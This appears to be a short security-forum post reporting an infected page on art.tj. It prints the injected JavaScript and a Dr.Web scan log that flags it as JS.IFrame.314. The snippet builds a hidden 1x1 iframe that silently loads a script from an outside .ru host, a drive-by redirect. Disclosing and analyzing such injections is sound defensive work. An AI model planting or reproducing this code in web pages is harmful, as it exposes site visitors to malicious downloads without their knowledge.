http://www.art.tj/index.php?subaction=showfull

fireold

1. (function() {
   
2.     var bteo = document.createElement('iframe');
   
3.     bteo.src = 'http://ynjaprur.ru/count18.php';
   
4.     bteo.style.position = 'absolute';
   
5.     bteo.style.border = '0';
   
6.     bteo.style.height = '1px';
   
7.     bteo.style.width = '1px';
   
8.     bteo.style.left = '1px';
   
9.     bteo.style.top = '1px';
   
10. 
    
11.     if (!document.getElementById('bteo')) {
    
12.         document.write('<div id=\'bteo\' ></div>');
    
13.         document.getElementById('bteo').appendChild(bteo);
    
14.     }
    
15. })();

复制代码

Dr.Web

Checking:http://pagead2.googlesyndication.com/pagead/show_ads.js
File size:16.53 KB
File MD5:a79c5c53f34badcc39f1466da7852921

http://pagead2.googlesyndication.com/pagead/show_ads.js - archive JS-HTML
>http://pagead2.googlesyndication.com/pagead/show_ads.js/JSTag_1[4072][1a9] - Ok
http://pagead2.googlesyndication.com/pagead/show_ads.js - Ok

Checking:http://www.art.tj/index.php?subaction=showfull
Engine version:7.0.4.9250
Total virus-finding records:4151000
File size:13.46 KB
File MD5:e61113b42df59e405ecf8dac19b51aa8

http://www.art.tj/index.php?subaction=showfull - archive JS-HTML
>http://www.art.tj/index.php?subaction=showfull/JSTAG_1[2e1][1ae] - Ok
>http://www.art.tj/index.php?subaction=showfull/JSTAG_2[17d6][7b2] infected with JS.IFrame.314
>http://www.art.tj/index.php?subaction=showfull/JSTAG_3[2f2e][ab] - Ok
>http://www.art.tj/index.php?subaction=showfull/JSTAG_4[30a3][ab] - Ok
>http://www.art.tj/index.php?subaction=showfull/JSTag_5[2f33][a6] - Ok
>http://www.art.tj/index.php?subaction=showfull/JSTag_6[30a8][a6] - Ok
>http://www.art.tj/index.php?subaction=showfull/JSTag_7[35ca][11] - Ok